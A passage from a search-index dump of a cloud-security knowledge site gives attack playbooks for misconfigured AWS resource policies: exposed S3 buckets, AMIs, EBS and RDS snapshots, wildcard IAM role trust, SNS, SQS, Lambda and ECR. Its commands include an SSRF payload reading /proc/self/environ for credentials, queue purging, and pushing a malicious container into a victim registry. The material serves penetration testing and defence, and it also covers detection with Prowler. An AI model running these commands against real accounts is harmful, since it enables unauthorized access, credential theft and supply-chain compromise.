https://$bucket_name.s3.$region.amazonaws.com/\n\n# List bucket contents via authenticated CLI\naws s3 ls s3://$bucket_name\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#s3-static-website-list-unauthenticated","title":"S3 Static Website List Unauthenticated","text":"<p>Misconfiguration: - Static website allowing bucket to be listed</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"PublicReadGetIndex\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": [\n                \"s3:ListBucket\",\n                \"s3:GetObject\"\n            ],\n            \"Resource\": [\n                \"arn:aws:s3:::example-bucket\",\n                \"arn:aws:s3:::example-bucket/*\"\n            ]\n        }\n    ]\n}\n</code></pre> <pre><code>bucket_name=\"example-bucket\"\nregion=\"region\"\n\n# This will return the index.html\ncurl https://$bucket_name.s3-website.$region.amazonaws.com\n\n# Removing the '-website' from the URL will list the files\n# This works because the bucket is misconfigured\ncurl https://$bucket_name.s3.$region.amazonaws.com\n\n# List bucket contents via CLI authenticated or unauthenticated\naws s3 ls s3://$bucket_name\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#amis","title":"AMIs","text":"<pre><code># Find the target AMI\n# Mention '--include-deprecated' to make sure you get all results\n# You'll have to search across every region since AMI is region dependent\n\n# Search by owner account\naws --region $region ec2 describe-images --owner 123456789012 --include-deprecated\n\n# Search by description or title\naws ec2 describe-images --filter Name=\"description\",Values=\"*hackingthe.cloud*\" --include-deprecated\naws ec2 describe-images --filter Name=\"name\",Values=\"*hackingthe.cloud*\" --include-deprecated\n\n# Automatically scan the AMI with cloudshovel\n# --bucket will specify where to save the files\n# This will not work if multiple cloudshovel is executed\n# multiple times in the same environment\ncloudshovel --region $region --bucket example-bucket ami-example1234567890\n\n# Manual approach\n# Start an EC2 instance based on the target AMI and save\n# the instance ID returned\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# If the command fails then you might have to use another instance-type like c5.large\n# You can specify '--no-associate-public-ip-address' if you don't want the instance\n# to have a public IP, but you'll need a VPC Endpoint to connect to it via\n# ec2-isntance-connect\naws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --image-id ami-example1234567890 \n\n# Try to connect to it using EC2 Instance Connect. The instance\naws ec2-instance-connect ssh --os-user root --instance-id i-example1234567890\n# Search for files and secrets once connected\n# If the command fails then most likely you'll have to \n# use the different method to access the AMI\n# 1. You can use cloudshovel\n# 2. Make an EBS Snapshot of the volume(s) and download them with coldsnap\n\n# When you're done you can terminate the instance\naws ec2 terminate-instances --instance-ids $instance_id\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ebs-snapshots","title":"EBS Snapshots","text":"<pre><code>region=region\n\n# Search by AWS account ID\naws ec2 describe-snapshots --owner-ids 123456789012\n\n# Search by description\naws ec2 describe-snapshots --filter \"Name=description,Values=*hackingthe.cloud*\"\n\n# Create volume from snapshot\n# The availability zone must be the same as the instance we \n# will create shortly in order to attach the new volume there\naws ec2 create-volume --availability-zone $region'a' --snapshot-id snap-example1234567890\n\n# Alternatively you can try to copy the Snapshot and\n# operate with ti from there\n# aws ec2 copy-snapshot --source-snapshot-id snap-example1234567890 --source-region $region\n\n# Check if status is 'ok'\n# Volume id is from the 'create-volume' API call\naws ec2 describe-volume-status --volume-id $volume_id\n\n# Start a new EC2 instance in the same Availability Zone\n# The Image Id is for an Amazon Linux image and has\n# nothing to do with the public AMI from the previous section\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\naws ec2 run-instances --security-group-ids sg-example1234567890 --instance-type t2.micro --placement AvailabilityZone=$region'a' --image-id ami-example1234567890\n\n# Attach volume to your instance and specify as device\n# anything from /dev/sdf to /dev/sdp (you can use /dev/sdf)\n# --instance-id is from 'run-instances' API call\naws ec2 attach-volume --volume-id $volume_id --instance-id $instance_id --device /dev/sdf\n\n# Connect to the instance\naws ec2-instance-connect ssh --os-user root --instance-id $instance_id\n# Mount the volume\n# lsblk\n# mount /dev/sdf1 /mnt\n# Search the volume for files and secrets \n\n# Terminate the instance when you're done\naws ec2 terminate-instances --instance-ids $instance_id\n\n# Delete the volume created\naws ec2 delete-volume --volume-id $volume_id\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#rds-snapshots","title":"RDS Snapshots","text":"<pre><code># Depending on the engine of the target snapshot, you'll have to install\n# the tool for connecting to the RDS server\n# We'll use MySQL in this example \n\n# Search based on AWS account id using jq\n# because there is no native way to do this\n# Copy the DBSnapshotIdentifier\naws rds describe-db-snapshots --include-public | jq '.DBSnapshots[] | select(.DBSnapshotArn | contains(\"123456789012:\"))'\n\n# Restore Snapshot\n# Use the DBSnapshotIdentifier from above and create\n# a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# $db_instance_identifier should be a new custom name for\n# the new db \naws rds restore-db-instance-from-db-snapshot --db-instance-identifier $db_instance_identifier \\\n    --db-snapshot-identifier $db_snapshot_identifier \\\n    --vpc-security-group-ids sg-example1234567890 --publicly-accessible --no-multi-az\n\n# This will take around 5-15 minutes so you can run this\n# command to know when the database was restored\n# The DB Instance Identifier should be the same, but you\n# can get it from the output of the previous command\naws rds wait db-instance-available --db-instance-identifier $db_instance_identifier\n\n# Change login password\n# In the response you will also see the RDS\n# endpoint address. Copy that for connecting\n# to the instance. The username for login can\n# be found in the same response under \"MasterUsername\"\naws rds modify-db-instance \\\n    --db-instance-identifier $db_instance_identifier \\\n    --master-user-password MyNewPassword123! \\\n    --apply-immediately\n\n# Connect to the database\nmysql -h $url_db -u $username --skip-ssl -p\n# show databases;\n# use $database;\n# show tables;\n\n# Delete RDS instance\naws rds delete-db-instance --db-instance-identifier $db_identifier --skip-final-snapshot\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#iam-roles","title":"IAM Roles","text":"<p>There are roles that can be assumed using various 3rd-party technologies if the role's trust policy is misconfigured.</p> <p>Documented attacks on bad OIDC configurations: - GitHub - Terraform Cloud - GitLab</p> <p>While the OIDC misconfigurations can be exploited from the internet, the attacks are more complex than what this document aims to help with. Please reefer to the original or related articles around the aforementioned attacks.</p> <pre><code># Assuming a public role\nrole_name=example-role\n# Try to assume role\naws sts assume-role \\\n    --role-arn arn:aws:iam::123456789012:role/$role_name \\\n    --role-session-name any-name\n\n# Configure returned credentials\naws --profile any-name configure set aws_access_key_id $access_key_id\naws --profile any-name configure set aws_secret_access_key $secret_access_key\naws --profile any-name configure set aws_session_token $session_token\n\n# Validate credentials\naws --profile any-name sts get-caller-identity\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ssm-documents","title":"SSM Documents","text":"<pre><code># Search by name prefix\naws ssm list-documents --filters \"Key=Owner,Values=Public\" \"Key=Name,Values=hackingthe.cloud\"\n\n# Search by owner with jq\n# Takes 15-30 seconds to execute\n# Copy the value from the \"Name\" field\naws ssm list-documents --filters \"Key=Owner,Values=Public\" | jq '.DocumentIdentifiers[] | select(.Owner | contains(\"123456789012\"))'\n\n# List document versions\n# Different versions can have different\n# secrets or details\naws list-document-versions --name $document_name\n\n# Get document details\n# If the document has more versions you can use --document-version $number\n# to get details about that version\n# If version is not specified then the default one is used\naws ssm describe-document --name $document_name\n\n# Get the actual content of the document\n# Use --document-version $number if multiple versions\naws ssm get-document --name $document_name\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#cloudfront","title":"CloudFront","text":"<p>If the CloudFront distribution has as origin a misconfigured S3 bucket, then even if the bucket is configured to block public access, it might be possible to list the bucket by accessing the distribution's URL. In order for this to work the bucket policy needs to allow \"s3:ListBucket\" for the CloudFront's Origin Access Identity (OAI). Most likely you will not encounter this outside a lab.</p> <pre><code># Try to list the bucket (Should not work)\n# You won't know the bucket if you only have the distribution's URL\naws s3 ls s3://example-bucket\n\n# Access the distribution and list the files\ncurl https://example1234567.cloudfront.net\n\n# Read sensitive files\ncurl https://example1234567.cloudfront.net/$file\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#2-cant-be-found-from-a-black-box-perspective","title":"2. Can't be found from a black-box perspective","text":"<p>These services can't be identified from a purely black-box perspective (exception the Public ECR), but they can be misconfigured so that they can be accessed from any external AWS account. For most of these services you need additional information that most likely you'll not find from the internet, brute-forcing or similar techniques. </p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#sns-topics","title":"SNS Topics","text":"<pre><code># List topic subscribers\n# This will return the subscribers which can be\n# email addresses or other services like SQS queues\n# that might be public as well\naws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:$region:123456789012:example-topic\n\n# Get topic attributes\naws sns get-topic-attributes --topic-arn arn:aws:sns:$region:123456789012:example-topic\n\n# Subscribe to the topic\n# If you subscribe you will get a confirmation\n# email with a link you have to access\n# After confirming you will receive any messages sent\n# to the topic\naws sns subscribe --topic-arn arn:aws:sns:$region:123456789012:example-topic \\\n        --protocol email \\\n        --notification-endpoint $email_address\n\n\n# Publish to topic\n# All subscribers will receive this message\n# This can be leveraged to perform phishing attacks\naws sns publish --topic-arn arn:aws:sns:$region:123456789012:example-topic --message \"This is the email body\" --subject \"This is the email subject\"\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#sqs-queues","title":"SQS Queues","text":"<pre><code># Send message\naws sqs send-message \\\n    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \\\n    --message-body \"Your message\"\n\n# Receive messages\n# This will remove the message from the queue\naws sqs receive-message --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue\n\n# Delete message\n# Message will be deleted anyway when\n# running receive-message in default implementations\naws sqs delete-message \\\n    --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue \\\n    --receipt-handle $big_string_from_receive_message_call\n\n# This will delete all items in the queue\naws sqs purge-queue --queue-url https://sqs.$region.amazonaws.com/123456789012/example-queue\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#private-api-gateways","title":"Private API Gateways","text":"<p>A private API Gateway is private in the sens that it can't be accessed from outside the AWS's network. People can mistake a private API Gateway as being accessible only from their AWS account, which is a common misconception. </p> <pre><code># Example API Gateway details\napi_id=example123\nregion=eu-central-1\nstage=prod\nendpoint=fetch\n\n# Try to access the API gateway from your host/VM\n# It should not work\ncurl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint\nnslookup $api_id.execute-api.$region.amazonaws.com\n\n# We'll start an EC2 instance and perform the # request from there\n# The instance must be in the same region as the target API\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\n# The AMI is for the latest Amazon Linux image at the moment of writing this article\n# Save the instance ID for later\naws --region $region ec2 run-instances --security-group-ids sg-example1234567 --instance-type t2.micro --image-id ami-0b5673b5f6e8f7fa7\n\n# Check if you have VPC endpoint com.amazonaws.$region.execute-api\naws --region $region ec2 describe-vpc-endpoints\n\n# Skip this if the VPC endpoint already exist\n# Create the VPC Endpoint\n# Should take around 1-2 minutes to be available\n# Run either 'aws ec2 describe-instances' or\n# 'aws ec2 describe-vpcs' or 'aws-describe-subnets' in order\n# to get the information about the VPC id along with the subnet ids\n# You have to use the same VPC as the one of the previous EC2\n# Create a security group that allows all inbound traffic if\n# you don't already have one and use it here\naws ec2 create-vpc-endpoint \\\n    --vpc-id vpc-example1234567 \\\n    --vpc-endpoint-type Interface \\\n    --service-name com.amazonaws.$region.execute-api \\\n    --subnet-ids subnet-example1234567,subnet-example1234567,subnet-example1234567 \\\n    --security-group-ids sg-example1234567 \\\n    --private-dns-enabled\n\n# Connect to the instance\naws ec2-instance-connect ssh --os-user root --instance-id $instance_id\n</code></pre> <pre><code># Now we should be able to resolve and invoke the private API Gateway\n# Check DNS resolution\nnslookup $api_id.execute-api.$region.amazonaws.com\n\n# Invoke the API\ncurl https://$api_id.execute-api.$region.amazonaws.com/$stage/$endpoint\n</code></pre> <p>Delete the instance and the VPC Endpoint when you're done. VPC Endpoints can get expensive.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#lambda-functions","title":"Lambda Functions","text":"<pre><code>function_name=example-function\n# Invoke function via AWS CLI\n# Because the function is from an external account, the\n# whole ARN must be specified\n# You can invoke a certain version of the function by adding its number at the end\n# e.g. arn:aws:lambda:$region:123456789012:function:$function_name:1\naws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \\\n    --payload '&lt;input&gt;'\n\n# If the function is vulnerable to SSRF you might\n# be able to exfiltrate the access credentials by reading\n# the contents of /proc/self/environ\n# For this you need to specify --cli-binary-format\n# This is can be used as a persistence technique\naws lambda invoke --function-name arn:aws:lambda:$region:123456789012:function:$function_name \\\n    --payload '{\"queryStringParameters\":{\"url\":\"file:///proc/self/environ\"}}' \\                                               \n    --cli-binary-format raw-in-base64-out output.txt\n\n# Invoke the function by its URL\n# Just because the Lambda Function can be invoked\n# by anyone, doesn't mean it will have a public URL\n# There is no known way to reverse the function URL\n# to get the function ARN or vice-versa\ncurl https://examplexample12345678901234567890exa.lambda-url.$region.on.aws/?url=file:///proc/self/environ &gt; output.txt\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#ecr-repositories","title":"ECR Repositories","text":""},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#private-repository-access","title":"Private Repository Access","text":"<p>Even if the repository is private, it can be misconfigured so that it allows any other AWS account to access it.</p> <pre><code># Login first\n# This command might not work on Windows\naws ecr get-login-password | docker login \\\n    --username AWS \\\n    --password-stdin 123456789012.dkr.ecr.$region.amazonaws.com/example-private\n\n# Pull image\ndocker pull 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\n\n# Inspect image for secrets\n# You can search the image in multiple ways\ndocker history 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest --no-trunc\ndocker inspect 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\ndocker run -it 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest cat /etc/environment\n\n# You can even push a new version of the image\n# if the ECR is that badly misconfigured\ndocker push 123456789012.dkr.ecr.$region.amazonaws.com/example-private:latest\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#public-repository-access","title":"Public Repository Access","text":"<p>This is the case where the company created a public repository instead of a private one. Compared with the other services from section 3, this one can be found from a black-box perspective.</p> <pre><code># You can find the repository by searching it\n# https://gallery.ecr.aws/search?searchTerm=hackingthe.cloud\n\n# Login\n# The public ECR is available only in us-east-1\naws ecr-public get-login-password --region us-east-1 | docker login \\\n    --username AWS \\\n    --password-stdin public.ecr.aws/id123456/example-public\n\n\n# Pull public image\ndocker pull public.ecr.aws/id123456/example-public\n\n# Inspect image for secrets\n# You can search the image in multiple ways\ndocker history public.ecr.aws/id123456/example-public --no-trunc\ndocker inspect public.ecr.aws/id123456/example-public\ndocker run -it 1public.ecr.aws/id123456/example-public cat /etc/environment\n</code></pre>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/#call-for-contributions","title":"Call for contributions","text":"<p>Do you know other relevant services that can be misconfigured so that they grant read, write or execute permissions over their resources? Feel free to add or suggest them.</p> <p>One service that should be included in this document is AWS Cognito. However, recently AWS performed some changes over how Cognito can be configured and further analysis is required before I can vouch for the attacks against it.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/","title":"Abusing Misconfigured ECR Resource Policies","text":"<p>AWS Elastic Container Registry (ECR) private repositories use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be misconfigured and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.</p> <p>Note</p> <p>Aside from the wildcard principal, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#understanding-ecrgetauthorizationtoken","title":"Understanding ecr:GetAuthorizationToken","text":"<p>A unique requirement to abusing misconfigured resource-based policies in ECR is ecr:GetAuthorizationToken. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the <code>Action</code> element is <code>ecr:*</code>). For scenarios in which the policy has a wildcard principal and a broken policy, this is not a problem as you can create a role with the needed permission.</p> <p>Note</p> <p>When interacting with an ECR private repository via the Docker cli, you use ecr:GetLoginPassword to authenticate. This calls <code>ecr:GetAuthorizationToken</code> to provide the needed authorization.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#downloading-containers","title":"Downloading Containers","text":"<p>Required Permissions: ecr:GetLoginPassword, ecr:BatchGetImage, ecr:GetDownloadURLForLayer.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"AllowAll\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": [\n        \"ecr:BatchGetImage\",\n        \"ecr:GetDownloadUrlForLayer\"\n      ]\n    }\n  ]\n}\n</code></pre> <p>This policy would permit us the ability to download containers from the vulnerable repository to our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.</p> <pre><code>aws ecr get-login-password --region &lt;region&gt; | docker login --username AWS --password-stdin &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com\n</code></pre> <p>Next, we will pull the container with the following command.</p> <pre><code>docker pull &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>We can now loot this container for source code or other valuable information.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#uploading-containers","title":"Uploading Containers","text":"<p>Required Permissions: ecr:GetLoginPassword, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:PutImage.</p> <p>Info</p> <p>As an anecdotal aside, the number of permissions required to perform a container upload may inadvertently increase the likelihood of a <code>Principal</code> being set to <code>*</code>. If you're a developer or ops person just trying to get something done, it may be enticing to set it to a wildcard and be done with it/forget about it.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <pre><code>{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Sid\": \"ExamplePolicy\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"ecr:*\"\n    }\n  ]\n}\n</code></pre> <p>This policy would permit us the ability to upload containers to the repository from our own account. We can take advantage of this with the following commands. First, we need to authenticate to the repository.</p> <pre><code>aws ecr get-login-password --region &lt;region&gt; | docker login --username AWS --password-stdin &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com\n</code></pre> <p>Next, we need to create/choose a container to upload. In a real world scenario you would likely want to create a container which runs your C2 of choice, or perhaps a simple script to retrieve IAM credentials. For this example, we will use an Ubuntu container.</p> <pre><code>docker tag ubuntu:latest &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>And finally we push the container into the repository.</p> <pre><code>docker push &lt;account ID&gt;.dkr.ecr.&lt;region&gt;.amazonaws.com/&lt;repository name&gt;:vulnerable\n</code></pre> <p>Now we simply have to wait for a service (ECS, EKS, EC2, Lambda, etc.) to pull this malicious container and execute it, giving us access to that environment.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/#identification","title":"Identification","text":"<p>To find exposed ECR private repositories you can use Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.</p> <pre><code>./prowler -c ecr_repositories_not_publicly_accessible\n                         _\n _ __  _ __ _____      _| | ___ _ __\n| '_ \\| '__/ _ \\ \\ /\\ / / |/ _ \\ '__|\n| |_) | | | (_) \\ V  V /| |  __/ |\n| .__/|_|  \\___/ \\_/\\_/ |_|\\___|_|v3.0-beta-21Nov2022\n|_| the handy cloud security tool\n\nDate: 2022-11-26 19:12:03\n\nThis report is being generated using credentials below:\n\nAWS-CLI Profile: [default] AWS Filter Region: [all]\nAWS Account: [000000000000] UserId: [AROAQQPLEQBZZHQGGAQ55:Nick]\nCaller Identity ARN: [arn:aws:sts::000000000000:assumed-role/snip/Nick]\n\nExecuting 1 checks, please wait...\n\n-&gt; Scan is completed! |\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589\u2589| 1/1 [100%] in 4.5s \n\nOverview Results:\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 100.0% (1) Failed \u2502 0.0% (0) Passed \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\nAccount 009619941490 Scan Results (severity columns are for fails only):\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502 Provider   \u2502 Service   \u2502 Status   \u2502   Critical \u2502   High \u2502   Medium \u2502   Low \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 aws        \u2502 ecr       \u2502 FAIL (1) \u2502          1 \u2502      0 \u2502        0 \u2502     0 \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n</code></pre> <p>Note</p> <p><code>Condition</code> elements may induce false positives.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/","title":"Abusing Misconfigured Role Trust Policies with a Wildcard Principal","text":"<p>As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a <code>Principal</code> in a role trust policy.</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#role-trust-policies","title":"Role Trust Policies","text":"<p>As stated in the AWS documentation, a role trust policy is, \"A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM\".</p> <p>This policy typically looks like the following:</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>This policy would <code>Allow</code> anyone in the <code>111111111111</code> account the ability to perform the action <code>sts:AssumeRole</code> (assume the role), provided that they have the action in their IAM identity-based policy.</p> <p>As mentioned in our documentation on Misconfigured Resource Based Policies, there are a variety of options that can be used for the <code>Principal</code> element, including, AWS accounts, specific IAM roles, role sessions, IAM users, and AWS services. Arguably the most risky is the \"wildcard\" <code>Principal</code>. This <code>Principal</code> encompasses ALL AWS principals. </p> <p>Warning</p> <p>A common misunderstanding is that the wildcard <code>Principal</code> is limited to either the same AWS account or the same AWS organization. This is not correct. The wildcard <code>Principal</code> applies to EVERY AWS account.</p> <p>If a role trust policy is configured with a wildcard <code>Principal</code> element, such as the one shown below, anyone in the world can assume the role.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n</code></pre> <p>It's worth noting that, while the simplest version of this misconfiguration can be easy to spot, more complex versions you will see in the wild may not be. Take the following policy for example:</p> <p>Warning</p> <p>Do NOT use this trust policy.</p> <pre><code>{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"*\"\n            },\n            \"Action\": \"sts:AssumeRole\",\n            \"Condition\": {\n                \"ArnNotEquals\": {\n                    \"aws:PrincipalArn\": \"arn:aws:iam::555555555555:role/intent-allow-role\"\n                }\n            }\n        }\n    ]\n}\n</code></pre> <p>In this example, the intention was to create a policy that Denied all Principals except the <code>intent-allow-role</code>. However, while creating this policy, the <code>Effect</code> was mistakenly changed to an <code>Allow</code>, which had the opposite effect, now anyone except <code>intent-allow-role</code> can assume the role.</p> <p>These types of more complicated role trust policies may slip through some CSPM/CNAPP solutions which don't thoroughly model all IAM policies. Be on the lookout for these types of mistakes on your next assessment!</p>"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/#how-to-exploit","title":"How to Exploit","text":"<p>In order to exploit a role that has a wildcard set as a <code>Principal</code>, you simply invoke sts:AssumeRole from an attacker controlled AWS account. Any AWS account, including those outside of the victim's AWS Organization, will work.</p> <pre><code>aws sts assume-role \\\n--role-arn arn:aws:iam::222222222222:role/victim-role \\\n--role-session-name blahsessionname\n</code></pre> <p>Tip</p> <p>There are various methods to enumerate role ARNs such as unauthenticated brute force, and enumerating an ARN from a unique identifier.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/","title":"AWS CLI Tips and Tricks","text":""},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#standard-inputoutput-redirection-with-","title":"Standard Input/Output Redirection with \"-\"","text":"<p>Warning</p> <p>The following examples have been tested in bash and zsh. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.</p> <p>When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using s3:cp to download the file to your local machine, then using <code>cat</code> or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.</p> <p>Fortunately, the AWS CLI allows us to simplify this process by using the <code>-</code> character which represents standard input/output (STDIN/STDOUT). Using <code>-</code>, you can read or write file content directly from or to S3 without creating local copies.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#reading-from-s3","title":"Reading from S3","text":"<p>To read the contents of an object stored in S3 without having to download it first, use the following command:</p> <pre><code>aws s3 cp s3://bucket-name/object-key -\n</code></pre> <p>Example:</p> <pre><code>nick@host:~$ aws s3 cp s3://hackingthecloud/content -\nhacking the cloud\n</code></pre>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#writing-to-s3","title":"Writing to S3","text":"<p>To upload content directly to an object in S3 without a temporary file, use this command:</p> <pre><code>echo \"hacking the cloud\" | aws s3 cp - s3://bucket-name/object-key\n</code></pre> <p>This command writes the specified text to an S3 object, again bypassing the need for a local file.</p>"},{"location":"aws/general-knowledge/aws_cli_tips_and_tricks/#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env","title":"Modifying the CloudTrail Log User-Agent with <code>AWS_EXECUTION_ENV</code>","text":"<p>Shout-out</p> <p>Shout-out to Christophe Tafani-Dereeper for 